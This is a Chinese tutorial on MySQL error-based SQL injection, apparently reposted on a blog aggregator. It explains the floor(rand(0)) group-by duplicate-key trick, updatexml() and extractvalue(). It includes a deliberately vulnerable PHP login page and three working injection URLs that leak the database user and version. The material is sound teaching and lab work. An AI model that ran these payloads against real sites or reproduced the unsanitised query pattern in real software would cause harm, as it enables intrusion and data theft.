SQL注入—报错注入

news2025/1/24 14:57:51

0x00 背景

  SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注入的产生原理和利用案例。

0x01 十种报错注入

  这十种方式在这里不多讲了,详情移步https://www.cnblogs.com/wocalieshenmegui/p/5917967.html。平时我们最常用到的三种报错注入方式分别是:floor()、updatexml()、extractvalue()。

0x02 报错注入的原理

  为了弄清报错注入的原理,首先先创建了一个名为sqli的数据库,然后建表插入数据:

mysql> create database sqli;
mysql> create table user (
        id int(11) not null auto_increment primary key,
        name varchar(20) not null,
        pass varchar(32) not null
    );
    
mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

  

  我们先看一个基于floor()的报错SQL语句:

select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

  如果是第一次接触报错注入的话,一般会有这么几个问题。

  Q1.floor()函数是什么?

  A1.floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。

  Q2.rand(0)是什么意思?

  A2.rand()函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand()

  

  我们再测试一下rand(0)的效果

  

  很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了,我们测试结果如下

  

  Q3.为什么会出现报错?

  A3.我们看一下报错的内容:Duplicate entry '15.5.53' for key 'group_key'。意思是说group_key条目重复。我们使用group by进行分组查询的时候,数据库会生成一张虚拟表

  

  在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

0x03 案例

  //以下案例代码是抄的

  数据库可以继续使用之前的数据库,我们在Web根目录下建立sqli.php

 1 <?php
 2 $conn = mysql_connect("localhost", "root", "123456"); // 连接数据库,账号root,密码root
 3 if (!$conn) {
 4     die("Connection failed: " . mysql_error());
 5 }
 6 
 7 mysql_select_db("sqli", $conn);
 8 
 9 // verify login info
10 if (isset($_GET['name']) && isset($_GET['pass'])) {
11     $name = $_GET['name'];
12     $pass = md5($_GET['pass']);
13 
14     $query = "select * from user where name='$name' and pass='$pass'";
15 
16     if ($result = mysql_query($query, $conn)) {
17         $row = mysql_fetch_array($result, MYSQL_ASSOC);
18 
19         if ($row) {
20             echo "<script>alert('login successful!');</script>";
21         }
22     } else {
23         die("Operation error: " . mysql_error());
24     }
25 }
26 
27 mysql_close();
28 ?>
29 
30 <!DOCTYPE html>
31 <html>
32 <head>
33     <title>Login</title>
34 </head>
35 <body>
36 <center>
37     <form method="get" action="">
38         <label>Username:</label><input type="text" name="name" value=""/><br/>
39         <label>Password:</label><input type="password" name="pass" value=""/><br/>
40         <input type="submit" value="login"/>
41     </form>
42 </center>
43 </body>
44 </html>

  在代码的11-14行是登陆验证模块,可以看到程序以GET形式获取了name和pass参数,没有经过任何过滤直接带入了查询语句,这里明显的存在SQL注入漏洞,我们用floor()报错注入进行尝试。

http://localhost/sqli.php?name=' or (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123

  我们再分别用updatexml()和extractvalue()分别进行尝试(原理各不相同,但是思路均是认为构造数据库的错误)

http://localhost/sqli.php?name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1

http://localhost/index.php?name=' or updatexml(1,concat(user(),0x7e,version()),1) # &pass=1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/632254.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot集成WebSocket的两种方式

本站在2014年4月时曾全面的学习HTML5的技术&#xff0c;特写过HTML5的WebSocket示例&#xff0c;当时使用的Servlet3.0规范中的API&#xff0c;需要Tomcat7的支持&#xff08;貌似在Tomcat6的后期维护版本也增加了WebSocket的支持&#xff09;&#xff0c;早在当初该示例还是本…

SVN注册下载安装以及使用一气呵成

本博客根据SVNbucket官方视频学习制作的,这里记录本人操作的记录 视频链接: https://www.bilibili.com/video/BV1k4411m7mP?vd_sourcea4c65e14d1ff11ea858cadc164fbb59e 一 .SVN的介绍 1.SVN是什么 查阅资料可以知道 ,这是一个开放源代码的版本控制系统,管理着随时间改变的…

docsify项目部署(华为云+宝塔+centos+docker+nginx)踩坑指南

docsify部署&#xff08;华为云宝塔centosdockernginx&#xff09; &#x1f5e1;1、安装docker 首先在服务器中安装docker sudo yum install -y yum-utils由于之前我的python默认版本升级到了python3&#xff0c;但yum执行使用的是python2&#xff0c;就遇到报错 File &quo…

Hbase架构

HBase 系统遵循 Master/Salve 架构&#xff0c;由三种不同类型的组件组成&#xff1a; client 提供了访问hbase的接口提供cache缓存提高访问hbase的效率 , 比如region的信息 Zookeeper保证任何时候&#xff0c;集群中只有一个 Master&#xff1b;存储所有 Region 的寻址入口&…

基于深度学习的高精度工人阶梯检测识别系统(PyTorch+Pyside6+YOLOv5模型)

摘要&#xff1a;基于深度学习的高精度工人阶梯检测识别系统可用于日常生活中或野外来检测与定位工人阶梯目标&#xff0c;利用深度学习算法可实现图片、视频、摄像头等方式的工人阶梯目标检测识别&#xff0c;另外支持结果可视化与图片或视频检测结果的导出。本系统采用YOLOv5…

Verilog基础:标识符的层次名引用

相关文章 Verilog基础&#xff1a;表达式位宽的确定&#xff08;位宽拓展&#xff09; Verilog基础&#xff1a;表达式符号的确定 Verilog基础&#xff1a;数据类型 Verilog基础&#xff1a;位宽拓展和有符号数运算的联系 Verilog基础&#xff1a;case、casex、ca…

Java8 Stream详解及创建流方法使用示例(二)

本章介绍Stream 创建流的操作&#xff1a;创建流指的是将一个集合或其他数据源转换为 Stream 流对象的过程。通常情况下&#xff0c;我们可以使用 Stream 类的静态方法来创建流对象&#xff0c;如 Stream.of()、Collections.stream() 等。这些方法将返回一个 Stream 流对象&…

【模块三:职业成长】35|模块导读:回过头来看,你觉得架构师到底是做什么的?

你好&#xff0c;我是郭东白。我们今天就正式进入模块三的学习了。 我们在开篇词里面介绍了&#xff0c;模块三的目的是向你介绍架构师的能力维度&#xff0c;以及获取这些能力的方法。既然是总结架构师成长的课程&#xff0c;那么“什么是架构师”就是一个绕不过去的话题。 …

操作系统-内存管理-虚拟内存管理

目录 一、虚拟内存定义和特征 二、请求分页管理 页表机制 缺页中断机构 地址变换机构 三、页面置换算法 3.1最佳置换算法(OPT) 3.2先进先出置换算法(FIFO) 3.3最近最久未使用置换算法(LRU) 3.4时钟置换算法(CLOCK) 3.4.1简单时钟置换算法 3.4.2改进型时钟置换算法 四、…

数据库—mysql、数据库编程(API)

1. Linux平台准备 &#xff08;1&#xff09;安装SDK开发包的命令 sudo apt-get install libmysqlclient-dev &#xff08;2&#xff09;编译时需要链接的库:-lmysqlclient 2. mysql 的初始化和清理 #include <mysql/mysql.h> MYSQL mysql1; //创建句柄 mysql_init(&…

springboot+java高校图书馆图书借阅挂失崔还系统

功本次设计任务是要设计一个图书借阅系统&#xff0c;通过这个系统能够满足图书借阅系统的管理及用户的图书借阅功能。系统的主要功能包括&#xff1a;主页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;借阅证件管理&#xff0c;挂失信息管理&#xff0c;图书信息管理…

华为OD机试真题 JavaScript 实现【快速寻找某字符】【牛客练习题】

一、题目描述 给定一个一个目标值 target和一个 元素升序的无重复数字字符串 &#xff0c;写一个函数搜索 字符串 中的 target&#xff0c;如果目标值存在返回下标&#xff08;下标从 0 开始&#xff09;&#xff0c;否则返回 -1。 二、输入描述 第一行输入一个目标值target…

pullup和pulldown在verilog中的使用方法

0 前言 这段时间涉及到了IO-PAD&#xff0c;在IO-PAD的RTL的时候注意到了pullup和pulldown&#xff0c;对这个知识比较好奇&#xff0c;就研究了一下&#xff0c;顺便记录下来&#xff0c;IO-PAD的内容等我再研究研究再考虑记录吧 >_< 1 pullup和pulldown的介绍 pullu…

springboot3错误处理机制源码分析

ErrorMvcAutoConfiguration 在springboot启动时会自动装配默认的错误处理机制 ErrorMvcAutoConfiguration springboot正在运行&#xff0c;此时发生了404的错误。&#xff08;业务错误场景&#xff09;分析底层处理流程。 1.如果在对应的controller层中设置了对应的错误处理器…

【裸机开发】链接脚本(.lds文件)的基本语法

目录 一、什么是链接脚本&#xff1f; 二、链接脚本的基本语法格式 1、常用命令 2、内置变量 三、链接脚本的简单案例 一、什么是链接脚本&#xff1f; 一段程序的编译需要经历四个阶段&#xff08;预处理—编译—汇编—链接&#xff09;&#xff0c;而链接脚本管理的就是…

专业实习报告范本4篇

专业实习报告范本1 一、实习起止日期&#xff1a; 二、实习单位及部门&#xff08;岗位&#xff09;&#xff1a; 三、主要实习内容&#xff1a; 对基础知识和专业理论知识的掌握及运用情况&#xff1a; 通过两年半的学习和两个月的紧张培训&#xff0c;让我学会了电路图的分析…

彻底关闭 Win10 系统自动更新【四大步骤】

Windows 10 的自动更新非常顽固&#xff0c;多用户在网上试了各种关闭win10自动更新的方法&#xff0c;刚开始看着好像是关闭更新了&#xff0c;可没过多久系统就又开始自动更新了。今天笔者就来教大家如何彻底关闭win10自动更新&#xff0c;该方法亲测有效。 一、禁用 Window…

【AIGC】15、Grounding DINO | 将 DINO 扩展到开集目标检测

文章目录 一、背景二、方法2.1 特征抽取和加强2.2 Language-Guided Query Selection2.3 Cross-Modality Decoder2.4 Sub-sentence level text feature2.5 Loss Function 3、效果3.1 zero-shot transfer of grounding DINO3.2 Referring Object detection3.3 Ablations3.4 从 DI…

java springboot工程整合JUnit测试

好啦从此文开始 我们开始学习整合第三方技术的知识 后续 我们会整合一下第三方技术 后续也还会用到很多 但大家要学的是思想 而不是某某技术怎么去整合 当你会任何一种技术 你都能自如的整合到项目中 你才算掌握了整合技术 好 那么开始先整合 JUnit 我们打开idea 打开我们的 …

VC6创建工程的各种类型

各个工程类型的含义是什么&#xff1f; ATL COM AppWizard 用ATL技术制作COM程序&#xff0c;例如:WORD里面用的公式编辑器 ATL: Active Template Library活动模板库。ATL是COM的开发工具。 COM: 1993年Microsoft首次公布了COM技术. Wizard:向导 什么是ATL&#xff1f; &…